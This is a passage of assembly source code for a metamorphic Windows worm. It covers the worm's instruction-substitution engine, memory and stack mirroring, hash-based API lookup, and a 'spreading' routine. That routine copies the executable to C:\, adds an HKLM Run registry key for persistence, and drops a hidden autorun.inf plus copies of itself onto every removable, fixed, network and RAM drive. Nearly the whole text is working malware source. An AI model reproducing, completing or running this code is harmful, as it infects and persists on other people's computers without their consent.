cc rNoEmul, jne, BBNotEqual ; If just one failed, the codes were not the same
cc rAF, cmp, al, 1
cc rNoEmul, jne, BBSimBothNoException ; If non of them fail, continue with the standard procedure
cc rA, mov, al, byte[BBExceptionCount] ; Both failed -> increase BBExceptionCount, check if Limit if reached
cc rA, inc, al
cc rA, mov, byte[BBExceptionCount], al
cc rAF, cmp, al, 23
cc rNoEmul, je, BBNotEqual
cc rNoEmul, jmp, PerformeAnotherBlackBoxTest
BBSimBothNoException:
cc rD, xor, edx, edx ; Byte Counter in Table
cc rNoRes, mov, byte[BBExceptionCount], dl
BBSimCompareNextByte:
; esi = BehaviourTable (file code) -> eax
; edi = TempBehaviourTable (random code) -> ebx
cc rDF, cmp, edx, 8
cc rNoEmul, jge, BBSimCompareNoException
cc rAD, mov, al, byte[tmpGBT] ; Get the GlobalBT (1 byte) for
; the current command
cc rAD, mov, ah, 1 ; ah = 1
cc rACD, xchg, cl, dl ; change
cc rACD, shl, ah, cl ;
cc rACD, xchg, cl, dl ; Back
; al = GBT
; ah = 1 shl dl
cc rADF, and, al, ah
cc rNoEmul, jz BBSimNoNeedForComparing
BBSimCompareNoException:
cc rAD, mov, eax, dword[BBTableFileCode+edx*4]
cc rABD, mov, ebx, dword[BBTableRandomCode+edx*4]
cc rABDF, cmp, eax, ebx
cc rNoEmul, jne, BBNotEqual
BBSimNoNeedForComparing:
cc rAD, inc, edx
cc rADF, cmp, edx, (BehaviourTableSize)/4
cc rNoEmul, jb, BBSimCompareNextByte
; EQUAL!!!
cc rC, pop, ecx
cc rC, inc, ecx
cc rC, push, ecx
cc rAC, mov, al, byte[tmpGBT]
cc rACF, and, al, 10000000b ; FLAGS?
cc rNoEmul, jnz BBSimEndCheckWithFlags ; If compare flags, do more BlackBox tests
cc rCF, cmp, ecx, 100
cc rNoEmul, js, BlackBoxTestingWithSimilarParameters
; Uuuhh yeah! :D
; Found some nice memory equivalent!
cc rNoEmul, jmp, BBFoundEqual
BBSimEndCheckWithFlags:
cc rCF, cmp, ecx, 1000
cc rNoEmul, js, BlackBoxTestingWithSimilarParameters
; Uuuhh yeah! :D
; Found some nice memory equivalent!
cc rNoEmul, jmp, BBFoundEqual
; #####
; ##### BlackBox Testing
; ##### Send in different parameters and compare output
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Substitute original command with equivalent commands
; #####
SubstituteCommand:
; In: ecx=command number
; qword[RandomCode] ... random code which will substitute the original one
cc rNoEmul, pushad
cc rNoRes, push, ecx
cc rNoEmul, call, CloseRandomFile ; With read protection-flag
cc rNoEmul, call, OpenRandomFileWrite ; With write protection-flag
cc rC, pop, ecx
cc rCD, xor, edx, edx
cc rAD, mov, eax, ecx
cc rABD, mov, ebx, 8
cc rA, mul, ebx ; EDX:EAX=EAX*EBX=Command Number*8
cc rAS, mov, esi, RandomCode
cc rSI, mov, edi, eax
cc rSI, add, edi, dword[WormCodeStart]
cc rASI, mov, eax, dword[esi]
cc rSI, mov, dword[edi], eax
cc rASI, mov, eax, dword[esi+4]
cc rSI, mov, dword[edi+4], eax
cc rNoEmul, call, CloseRandomFile ; With write protection-flag
cc rNoEmul, call, OpenRandomFileRead ; With read protection-flag
cc rNoEmul, popad
cc rNoEmul, jmp, SubstituteCommandEnd
; #####
; ##### Substitute original command with equivalent commands
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Mirroring/Restoring the stack/memory
; #####
MirrorTheStack:
cc rP, pop, ebp ; The only different thing
; should the the current return value
cc rNoRes, mov, dword[tmpRetVal], ebp
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, dword[hStackSize]
cc rNoRes, push, dword[hStackMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect] ; Write Protection Flag
cc rA, mov, eax, dword[hStackMirror]
cc rAD, mov, edx, dword[hStackSize] ; Size of stack
cc rADS, mov, esi, dword[hStackStart] ; Start of stack
cc rADSI, mov, edi, eax ; VirtualMemory for Stack
cc rCDSI, xor, ecx, ecx
MirrorTheStackMore:
cc rACDSI, mov, eax, dword[esi]
cc rACDSI, mov, dword[edi], eax
cc rCDSI, add, edi, 4
cc rCDSI, add, esi, 4
cc rCDSI, add, ecx, 4
cc rCDSIF, cmp, ecx, edx
cc rNoEmul, jb, MirrorTheStackMore
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, dword[hStackSize]
cc rNoRes, push, dword[hStackMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect] ; Protect it!
cc rP, mov, ebp, dword[tmpRetVal]
cc rNoRes, push, ebp ; Current return-value
cc rNoEmul, ret
RestoreTheStack:
cc rP, pop, ebp ; The only different thing
; should the the current return value
cc rDP, mov, edx, dword[hStackSize] ; Size of stack
cc rDPS, mov, esi, dword[hStackMirror] ; VirtualMemory for Stack
cc rDPSI, mov, edi, dword[hStackStart] ; Start of Stack
cc rCDPSI, xor, ecx, ecx
RestoreTheStackMore:
cc rACDPSI, mov, eax, dword[esi]
cc rCDPSI, mov, dword[edi], eax
cc rCDPSI, add, edi, 4
cc rCDPSI, add, esi, 4
cc rCDPSI, add, ecx, 4
cc rCDPSIF, cmp, ecx, edx
cc rNoEmul, jb, RestoreTheStackMore
cc rNoRes, push, ebp ; Current return-value
cc rNoEmul, ret
RestoreTheMemory:
cc rC, xor, ecx, ecx
cc rC, mov, dword[tmpMemProtection], ecx
cc rCS, mov, esi, dword[hDataMirror]
cc rCSI, mov, edi, DataStart
RestoreTheMemoryMore:
cc rACSI, mov, eax, dword[esi]
cc rCSI, mov, dword[edi], eax
cc rCSI, add, esi, 4
cc rCSI, add, edi, 4
cc rCSI, add, ecx, 4
cc rCSIF, cmp, ecx, (DataEnd-DataStart)
cc rNoEmul, jb, RestoreTheMemoryMore
cc rA, xor, eax, eax
cc rNoRes, mov, dword[tmpMemProtection], eax
cc rNoEmul, ret
MirrorTheMemory:
cc rBCDPSIF, mov, dword[tmpDWA], eax
cc rBDPSIF, mov, dword[tmpDWC], ecx
cc rNoEmul, pushfd
cc rBCDPSIF, pop, ecx ; ecx=flags
cc rBCDPSIF, pop, dword[tmpDWB] ; Return address
; There could be 8 pop, or push
cc rBCDPSIF, pop, dword[tmpDW1] ; 1st
cc rBCDPSIF, pop, dword[tmpDW2] ; 2nd
cc rBCDPSIF, pop, dword[tmpDW3] ; 3nd
cc rBCDPSIF, pop, dword[tmpDW4] ; 4nd
cc rBCDPSIF, pop, dword[tmpDW5] ; 5st
cc rBCDPSIF, pop, dword[tmpDW6] ; 6nd
cc rBCDPSIF, pop, dword[tmpDW7] ; 7nd
cc rBCDPSIF, pop, dword[tmpDW8] ; 8nd
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rNoEmul, call, GetRandomNumber
cc rABCDPSIF,mov, eax, dword[RandomNumber]
cc rBCDPSIF, push, eax
cc rBCDPSIF, push, dword[tmpDWB]
cc rABCDPSIF,mov, eax, dword[tmpDWA]
cc rABCDPSIF,push, ecx ; ecx=flags -> pushfd
cc rABCDPSIF,mov, ecx, dword[tmpDWC]
cc rNoEmul, pushad
cc rNoEmul, call, CreateRandomizedData
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, dword[hDataMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rA, xor, eax, eax
cc rNoRes, mov, dword[tmpMemProtection], eax
cc rC, xor, ecx, ecx
cc rCS, mov, esi, DataStart
cc rCSI, mov, edi, dword[hDataMirror]
MirrorTheMemoryMore:
cc rACSI, mov, eax, dword[esi]
cc rCSI, mov, dword[edi], eax
cc rCSI, add, esi, 4
cc rCSI, add, edi, 4
cc rCSI, add, ecx, 4
cc rCSIF, cmp, ecx, (DataEnd-DataStart)
cc rNoEmul, jb, MirrorTheMemoryMore
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, dword[hDataMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rA, xor, eax, eax
cc rNoRes, mov, dword[tmpMemProtection], eax
cc rC, xor, ecx, ecx
cc rCS, mov, esi, dword[hRandomizedData]
cc rCSI, mov, edi, DataStart
MirrorTheMemoryWriteRandomStuff:
cc rACSI, mov, eax, dword[esi]
cc rCSI, mov, dword[edi], eax
cc rCSI, add, esi, 4
cc rCSI, add, edi, 4
cc rCSI, add, ecx, 4
cc rCSIF, cmp, ecx, (DataEnd-DataStart)
cc rNoEmul, jb, MirrorTheMemoryWriteRandomStuff
cc rNoEmul, popad
cc rNoEmul, popfd
cc rNoEmul, ret
CreateRandomizedData:
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, dword[hRandomizedData]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rC, xor, ecx, ecx
cc rCI, mov, edi, dword[hRandomizedData]
CreateRandomizedDataMore:
cc rNoEmul, call, GetRandomNumber
cc rACI, mov, eax, dword[RandomNumber]
cc rCI, mov, dword[edi], eax
cc rCI, add, edi, 4
cc rCI, add, ecx, 4
cc rCIF, cmp, ecx, (DataEnd-DataStart)
cc rNoEmul, jb, CreateRandomizedDataMore
cc rA, mov, eax, dword[hDataMirror]
cc rAC, mov, ecx, (hDataMirror-DataStart)
cc rACI, mov, edi, dword[hRandomizedData]
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (hDataMirror1-DataStart)
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (hDataMirror2-DataStart)
cc rI, mov, dword[edi+ecx], eax
cc rAI, mov, eax, dword[tmpAddress1]
cc rACI, mov, ecx, (tmpAddress-DataStart)
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (tmpAddress1-DataStart)
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (tmpAddress2-DataStart)
cc rI, mov, dword[edi+ecx], eax
cc rAI, mov, eax, dword[hTempAlloc1]
cc rACI, mov, ecx, (hTempAlloc1-DataStart)
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (hTempAlloc2-DataStart)
cc rI, mov, dword[edi+ecx], eax
cc rAI, mov, eax, dword[hRandomizedData]
cc rACI, mov, ecx, (hRandomizedData-DataStart)
cc rAI, mov, dword[edi+ecx], eax
cc rACI, mov, ecx, (hRandomizedData1-DataStart)
cc rNoRes, mov, dword[edi+ecx], eax
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, dword[hRandomizedData]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rNoEmul, ret
; #####
; ##### Mirroring/Restoring the memory
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Find addresses of APIs
; #####
GetAllAPIAddresses:
cc rA, mov, eax, "kern"
cc rNoRes, mov, dword[_DLLkernel32+0x00], eax
cc rA, mov, eax, "el32"
cc rNoRes, mov, dword[_DLLkernel32+0x04], eax
cc rA, mov, eax, ".dll"
cc rNoRes, mov, dword[_DLLkernel32+0x08], eax
cc rA, mov, eax, APIMagicNumbersKernel32
cc rNoRes, mov, dword[APICurrentMagicNum], eax
cc rA, mov, eax, APINumbersKernel
cc rNoRes, mov, dword[APICurrentNumber], eax
cc rA, mov, eax, APIAddressesKernel
cc rNoRes, mov, dword[APICurrentAddress], eax
cc rNoRes, push, _DLLkernel32
cc rNoEmul, stdcall, dword[LoadLibrary]
cc rNoRes, mov, dword[hDLLkernel32], eax
cc rNoEmul, call, FindAPIsInLibrary
cc rA, mov, eax, "adva"
cc rNoRes, mov, dword[_DLLadvapi32+0x00], eax
cc rA, mov, eax, "pi32"
cc rNoRes, mov, dword[_DLLadvapi32+0x04], eax
cc rA, mov, eax, ".dll"
cc rNoRes, mov, dword[_DLLadvapi32+0x08], eax
cc rA, mov, eax, APIMagicNumbersAdvapi32
cc rNoRes, mov, dword[APICurrentMagicNum], eax
cc rA, mov, eax, APINumbersAdvapi
cc rNoRes, mov, dword[APICurrentNumber], eax
cc rA, mov, eax, APIAddressesAdvapi
cc rNoRes, mov, dword[APICurrentAddress], eax
cc rNoRes, push, _DLLadvapi32
cc rNoEmul, stdcall, dword[LoadLibrary]
cc rNoRes, mov, dword[hDLLkernel32], eax
cc rNoEmul, call, FindAPIsInLibrary
cc rA, mov, eax, dword[_VirtualAlloc]
cc rNoRes, mov, dword[_VirtualAlloc1], eax
cc rA, mov, eax, dword[_VirtualProtect]
cc rNoRes, mov, dword[_VirtualProtect1], eax
cc rNoEmul, ret
FindAPIsInLibrary:
; In: eax = handle to DLL
cc rAB, mov, ebx, dword[eax+0x3C]
cc rAB, add, ebx, eax ; relative -> absolut
cc rAB, mov, dword[hKernelPE], ebx
cc rAS, mov, esi, dword[ebx+0x78]
cc rAS, add, esi, eax ; relative -> absolut
cc rAS, add, esi, 0x1C
cc rABS, mov, ebx, dword[esi]
cc rABS, add, ebx, eax
cc rAS, mov, dword[hAddressTable], ebx
cc rAS, add, esi, 0x4
cc rABS, mov, ebx, dword[esi]
cc rABS, add, ebx, eax ; relative -> absolut
cc rAS, mov, dword[hNamePointerTable], ebx
cc rAS, add, esi, 0x4
cc rABS, mov, ebx, dword[esi]
cc rABS, add, ebx, eax ; relative -> absolut
cc rAS, mov, dword[hOrdinalTable], ebx
cc rS, mov, esi, dword[hNamePointerTable]
cc rSI, mov, edi, dword[APICurrentAddress]
cc rDSI, mov, edx, dword[APICurrentMagicNum]
cc rDSI, sub, esi, 4
cc rDPSI, xor, ebp, ebp
cc rDPSI, dec, ebp
cc rCDPSI, xor, ecx, ecx
FindAPIsInLibraryGetNextAPI:
cc rNoEmul, pushad
FindAPIsInLibraryNext:
cc rDPSI, inc, ebp
cc rDPSI, add, esi, 4
cc rBDPSI, mov, ebx, dword[esi]
cc rBDPSI, add, ebx, dword[hDLLkernel32]
cc rNoEmul, call, FindAPIGiveMeTheHash
cc rADPSIF, cmp, eax, dword[edx]
cc rNoEmul, jne, FindAPIsInLibraryNext
cc rPSI, mov, esi, ebp ; coutner
cc rPSI, shl, esi, 0x1 ; esi*=2
cc rPSI, add, esi, dword[hOrdinalTable] ; esi=Pointer to ordinal table
cc rBPSI, xor, ebx, ebx ; ebx=0
cc rBPSI, mov, ebx, dword[esi] ; bx=Ordinal
cc rBPSI, and, ebx, 0xFFFF
cc rBPSI, shl, ebx, 0x2 ; ebx=Ordinal*4
cc rBPSI, add, ebx, dword[hAddressTable] ; ebx=Pointer to Address of API
cc rBPSI, mov, ebx, dword[ebx]
cc rBPSI, add, ebx, dword[hDLLkernel32] ; relative -> absolut
cc rPSI, mov, dword[edi], ebx
cc rNoEmul, popad
cc rCDPSI, inc, ecx
cc rCDPSI, add, edi, 4
cc rCDPSI, add, edx, 4
cc rCDPSIF, cmp, ecx, dword[APICurrentNumber]
cc rNoEmul, jb, FindAPIsInLibraryGetNextAPI
cc rNoEmul, ret
FindAPIGiveMeTheHash:
; In: ebx=pointer to API name
; Out: eax=Hash (in ax)
; changed: eax
; mov, ebx, apistr
cc rBCDPSI, push, ebx
cc rBDPSI, push, ecx
cc rBPSI, push, edx
cc rABPSI, xor, eax, eax
cc rABCPSI, xor, ecx, ecx
cc rABCPSI, dec, ebx
FindAPIGiveMeTheHashMore:
cc rABCPSI, xor, eax, ecx
cc rABCPSI, inc, ebx
cc rABCPSI, mov, ecx, dword[ebx]
cc rABCDPSI, mov, edx, ecx ; ecx=nooo - n ... new byte
cc rABCDPSI, shr, edx, 24 ; edx=000n ... new byte
cc rABCDPSIF, cmp, dl, 0 ; dl=n
cc rNoEmul, jne, FindAPIGiveMeTheHashMore
cc rABPSI, sub, al, byte[ebx+0]
cc rABPSI, add, ah, byte[ebx+1]
cc rABPSI, xor, al, byte[ebx+2]
cc rAPSI, and, eax, 0xFFFF
cc rADPSI, pop, edx
cc rACDPSI, pop, ecx
cc rABCDPSI, pop, ebx
cc rNoEmul, ret
; #####
; ##### Find addresses of APIs
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Spreading part
; #####
CopyFileAndRegEntry:
cc rS, xor, esi, esi
CopyFileAndRegEntryMore:
cc rBS, mov, ebx, 26
cc rBCS, mov, ecx, 97
cc rNoEmul, call, CreateSpecialRndNumber
cc rS, mov, byte[RandomFileName+esi], dl
cc rS, inc, esi
cc rSF, cmp, esi, 8
cc rNoEmul, jb, CopyFileAndRegEntryMore
cc rA, mov, eax, ".exe"
cc rNoRes, mov, dword[RandomFileName+esi], eax
cc rA, mov, al, "C"
cc rNoRes, mov, byte[SpaceForHDC+1], al
cc rA, mov, al, ":"
cc rNoRes, mov, byte[SpaceForHDC+2], al
cc rA, mov, al, "\"
cc rNoRes, mov, byte[SpaceForHDC+3], al
cc rNoRes, push, FALSE
cc rNoRes, push, SpaceForHDC+1
cc rNoRes, push, dword[hMyFileName]
cc rNoEmul, stdcall, dword[_CopyFileA]
; Encrypted representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
; Will be a very good surface for this morphism
cc rA, mov, eax, stKey
cc rAB, mov, ebx, "SOFT"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "WARE"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "\Mic"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "roso"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "ft\W"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "indo"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "ws\C"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "urre"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "ntVe"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "rsio"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, ebx, "n\Ru"
cc rA, mov, dword[eax], ebx
cc rA, add, eax, 0x4
cc rAB, mov, bl, "n"
cc rA, mov, byte[eax], bl
cc rNoRes, push, 0x0
cc rNoRes, push, hKey
cc rNoRes, push, 0x0
cc rNoRes, push, KEY_ALL_ACCESS
cc rNoRes, push, REG_OPTION_NON_VOLATILE
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, stKey
cc rNoRes, push, HKEY_LOCAL_MACHINE
cc rNoEmul, stdcall, dword[_RegCreateKeyExA]
cc rNoRes, push, 16
cc rNoRes, push, SpaceForHDC+1
cc rNoRes, push, REG_SZ
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, dword[hKey]
cc rNoEmul, stdcall, dword[_RegSetValueExA]
cc rNoRes, push, dword[hKey]
cc rNoEmul, stdcall, dword[_RegCloseKey]
cc rNoEmul, call, OpenRandomFileRead
cc rA, xor, eax, eax
cc rA, add, eax, "X:\a"
cc rNoRes, mov, dword[stAutorunWithDrive], eax
cc rA, mov, eax, "\aut"
cc rNoRes, mov, dword[stAutorunWithDrive+2], eax
cc rA, mov, eax, "orun"
cc rNoRes, mov, dword[stAutoruninf+3], eax
cc rA, mov, eax, ".inf"
cc rNoRes, mov, dword[stAutoruninf+7], eax
cc rA, mov, eax, "[Aut"
cc rNoRes, mov, dword[stAutoRunContent], eax
cc rA, mov, eax, "orun"
cc rNoRes, mov, dword[stAutoRunContent+0x04], eax
cc rA, mov, eax, 0x530A0D5D
cc rNoRes, mov, dword[stAutoRunContent+0x08], eax
cc rA, mov, eax, "hell" ; !!!!!!!
cc rNoRes, mov, dword[stAutoRunContent+0x0C], eax
cc rA, mov, eax, "Exec"
cc rNoRes, mov, dword[stAutoRunContent+0x10], eax
cc rA, mov, eax, "ute="
cc rNoRes, mov, dword[stAutoRunContent+0x14], eax
cc rA, mov, eax, dword[RandomFileName] ; Filename: XXXXxxxx.exe
cc rNoRes, mov, dword[stAutoRunContent+0x18], eax
cc rA, mov, eax, dword[RandomFileName+0x4] ; Filename: xxxxXXXX.exe
cc rNoRes, mov, dword[stAutoRunContent+0x1C], eax
cc rA, mov, eax, ".exe"
cc rNoRes, mov, dword[stAutoRunContent+0x20], eax
cc rA, mov, eax, 0x73550A0D
cc rNoRes, mov, dword[stAutoRunContent+0x24], eax
cc rA, mov, eax, "eAut"
cc rNoRes, mov, dword[stAutoRunContent+0x28], eax
cc rA, mov, eax, "opla"
cc rNoRes, mov, dword[stAutoRunContent+0x2C], eax
cc rA, mov, eax, 0x00313D79
cc rNoRes, mov, dword[stAutoRunContent+0x30], eax
; i like that coding style, roy g biv! :))
cc rNoRes, push, 51
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_MAP_ALL_ACCESS
cc rNoRes, push, 0x0
cc rNoRes, push, 51
cc rNoRes, push, 0x0
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_ATTRIBUTE_HIDDEN
cc rNoRes, push, OPEN_ALWAYS
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, (GENERIC_READ or GENERIC_WRITE)
cc rNoRes, push, stAutoruninf
cc rNoEmul, stdcall, dword[_CreateFileA]
cc rA, push, eax
cc rNoRes, mov, dword[hCreateFileAR], eax
cc rNoEmul, stdcall, dword[_CreateFileMappingA]
cc rA, push, eax
cc rNoRes, mov, dword[hCreateFileMappingAR], eax
cc rNoEmul, stdcall, dword[_MapViewOfFile]
cc rAC, xor, cl, cl
cc rACS, mov, esi, stAutoRunContent
MakeAutoRunInfoMore:
cc rABCS, mov, bl, byte[esi]
cc rACS, mov, byte[eax], bl
cc rACS, inc, eax
cc rACS, inc, esi
cc rACS, inc, ecx
cc rACSF, cmp, cl, 51
cc rNoEmul, jb, MakeAutoRunInfoMore
cc rA, sub, eax, 51
cc rA, push, dword[hCreateFileAR]
cc rA, push, dword[hCreateFileMappingAR]
cc rA, push, eax
cc rNoEmul, stdcall, dword[_UnmapViewOfFile]
cc rNoEmul, stdcall, dword[_CloseHandle]
cc rNoEmul, stdcall, dword[_CloseHandle]
cc rA, mov, eax, "A:\."
cc rNoEmul, mov, dword[SpaceForHDC2+1], eax
cc rA, mov, eax, dword[RandomFileName]
cc rNoEmul, mov, dword[RandomFileName2], eax ; XXXXxxxx.exe
cc rA, mov, eax, dword[RandomFileName+0x04]
cc rNoEmul, mov, dword[RandomFileName2+0x04], eax ; xxxxXXXX.exe
cc rA, mov, eax, dword[RandomFileName+0x08]
cc rNoEmul, mov, dword[RandomFileName2+0x08], eax ; .exe
cc rNoEmul, ret
SpreadThisKitty:
cc rNoEmul, call, CloseRandomFile
cc rA, mov, eax, 0x003A4100 ; 0x0, "A:", 0x0
cc rNoRes, mov, dword[SpaceForHDC2], eax
STKAnotherRound:
cc rNoRes, push, SpaceForHDC2+1
cc rNoEmul, stdcall, dword[_GetDriveTypeA]
cc rAC, mov, cl, '\'
cc rA, mov, byte[SpaceForHDC2+3],cl
cc rAF, cmp, al, 0x2
cc rNoEmul, je, STKWithAutoRun
cc rAF, cmp, al, 0x3
cc rNoEmul, je, STKWithoutAutoRun
cc rAF, cmp, al, 0x4
cc rNoEmul, je, STKWithAutoRun
cc rAF, cmp, al, 0x6
cc rNoEmul, je, STKWithAutoRun
cc rNoEmul, jmp, STKCreateEntriesForNextDrive
STKWithAutoRun:
cc rNoRes, push, FALSE
cc rNoRes, push, stAutorunWithDrive
cc rNoRes, push, stAutoruninf
cc rNoEmul, stdcall, dword[_CopyFileA]
STKWithoutAutoRun:
cc rNoRes, push, FALSE
cc rNoRes, push, SpaceForHDC2+1
cc rNoRes, push, SpaceForHDC+1
cc rNoEmul, stdcall, dword[_CopyFileA]
STKCreateEntriesForNextDrive:
cc rA, xor, eax, eax
cc rA, mov, al, byte[SpaceForHDC2+1]
cc rAF, cmp, al, "Z"
cc rNoEmul, je, SpreadThisKittyEnd
cc rA, inc, al
cc rA, mov, byte[SpaceForHDC2+1], al ; next drive
cc rA, mov, byte[stAutorunWithDrive], al ; next drive
cc rA, mov, byte[SpaceForHDC2+3], ah ; 0x0, "X:", 0x0
cc rNoEmul, jmp, STKAnotherRound
SpreadThisKittyEnd:
cc rNoEmul, call, OpenRandomFileRead
cc rNoEmul, ret
OpenRandomFileRead:
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_ATTRIBUTE_NORMAL
cc rNoRes, push, OPEN_ALWAYS
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, GENERIC_READ
cc rNoRes, push, SpaceForHDC+1
cc rNoEmul, stdcall, dword[_CreateFileA]
cc rNoRes, mov, dword[hCreateFileRndFile], eax
cc rNoRes, push, dFileSize
cc rNoRes, push, dword[hCreateFileRndFile]
cc rNoEmul, stdcall, dword[_GetFileSize]
cc rNoRes, mov, dword[dFileSize], eax
cc rNoRes, push, 0x0
cc rNoRes, push, dword[dFileSize]
cc rNoRes, push, 0x0
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, 0x0
cc rNoRes, push, dword[hCreateFileRndFile]
cc rNoEmul, stdcall, dword[_CreateFileMappingA]
cc rNoRes, mov, dword[hCreateMapRndFile], eax
cc rNoRes, push, dword[dFileSize]
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_MAP_READ
cc rNoRes, push, dword[hCreateMapRndFile]
cc rNoEmul, stdcall, dword[_MapViewOfFile]
cc rNoRes, mov, dword[hMapViewRndFile], eax
cc rNoRes, cmp, eax, 0x0
cc rNoEmul, jne, OpenRandomFileReadNoProblem ; Potential problems while page file
; will be increased
cc rNoEmul, call, CloseRandomFile
cc rNoRes, push, 5000
cc rNoEmul, stdcall, dword[_Sleep] ; wait 5sec and try it again
cc rNoEmul, jmp, OpenRandomFileRead
OpenRandomFileReadNoProblem:
cc rA, add, eax, CodeStartInFile
cc rNoRes, mov, dword[WormCodeStart], eax
cc rNoEmul, ret
OpenRandomFileWrite:
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_ATTRIBUTE_NORMAL
cc rNoRes, push, OPEN_ALWAYS
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, GENERIC_READ or GENERIC_WRITE
cc rNoRes, push, SpaceForHDC+1
cc rNoEmul, stdcall, dword[_CreateFileA]
cc rNoRes, mov, dword[hCreateFileRndFile], eax
cc rNoRes, push, dFileSize
cc rNoRes, push, dword[hCreateFileRndFile]
cc rNoEmul, stdcall, dword[_GetFileSize]
cc rNoRes, mov, dword[dFileSize], eax
cc rNoRes, push, 0x0
cc rNoRes, push, dword[dFileSize]
cc rNoRes, push, 0x0
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, 0x0
cc rNoRes, push, dword[hCreateFileRndFile]
cc rNoEmul, stdcall, dword[_CreateFileMappingA]
cc rNoRes, mov, dword[hCreateMapRndFile], eax
cc rNoRes, push, dword[dFileSize]
cc rNoRes, push, 0x0
cc rNoRes, push, 0x0
cc rNoRes, push, FILE_MAP_WRITE
cc rNoRes, push, dword[hCreateMapRndFile]
cc rNoEmul, stdcall, dword[_MapViewOfFile]
cc rA, mov, dword[hMapViewRndFile], eax
cc rNoRes, cmp, eax, 0x0
cc rNoEmul, jne, OpenRandomFileWriteNoProblem ; Potential problems while page file
; will be increased
cc rNoEmul, call, CloseRandomFile
cc rNoRes, push, 5000
cc rNoEmul, stdcall, dword[_Sleep] ; wait 5sec and try it again
cc rNoEmul, jmp, OpenRandomFileWrite
OpenRandomFileWriteNoProblem:
cc rA, add, eax, CodeStartInFile
cc rNoRes, mov, dword[WormCodeStart], eax
cc rNoEmul, ret
CloseRandomFile:
cc rNoRes, push, dword[hMapViewRndFile]
cc rNoEmul, stdcall, dword[_UnmapViewOfFile]
cc rNoRes, push, dword[hCreateMapRndFile]
cc rNoEmul, stdcall, dword[_CloseHandle]
cc rNoRes, push, dword[hCreateFileRndFile]
cc rNoEmul, stdcall, dword[_CloseHandle]
cc rNoEmul, ret
EndPaddedCommands:
; #####
; ##### Spreading part
; #####
; ###########################################################################
; ###########################################################################
hAnalyseBehaviourOfCode dd AnalyseBehaviourOfCode ; This value must be
; in a protected environment
; because the program has the
; will to self-destruct itself
; as soon as it has some freedom!!!
; ###########################################################################
; ###########################################################################
; #####
; ##### Global BehaviourTable
; #####
; Each Command has a 8bit value in the GBT
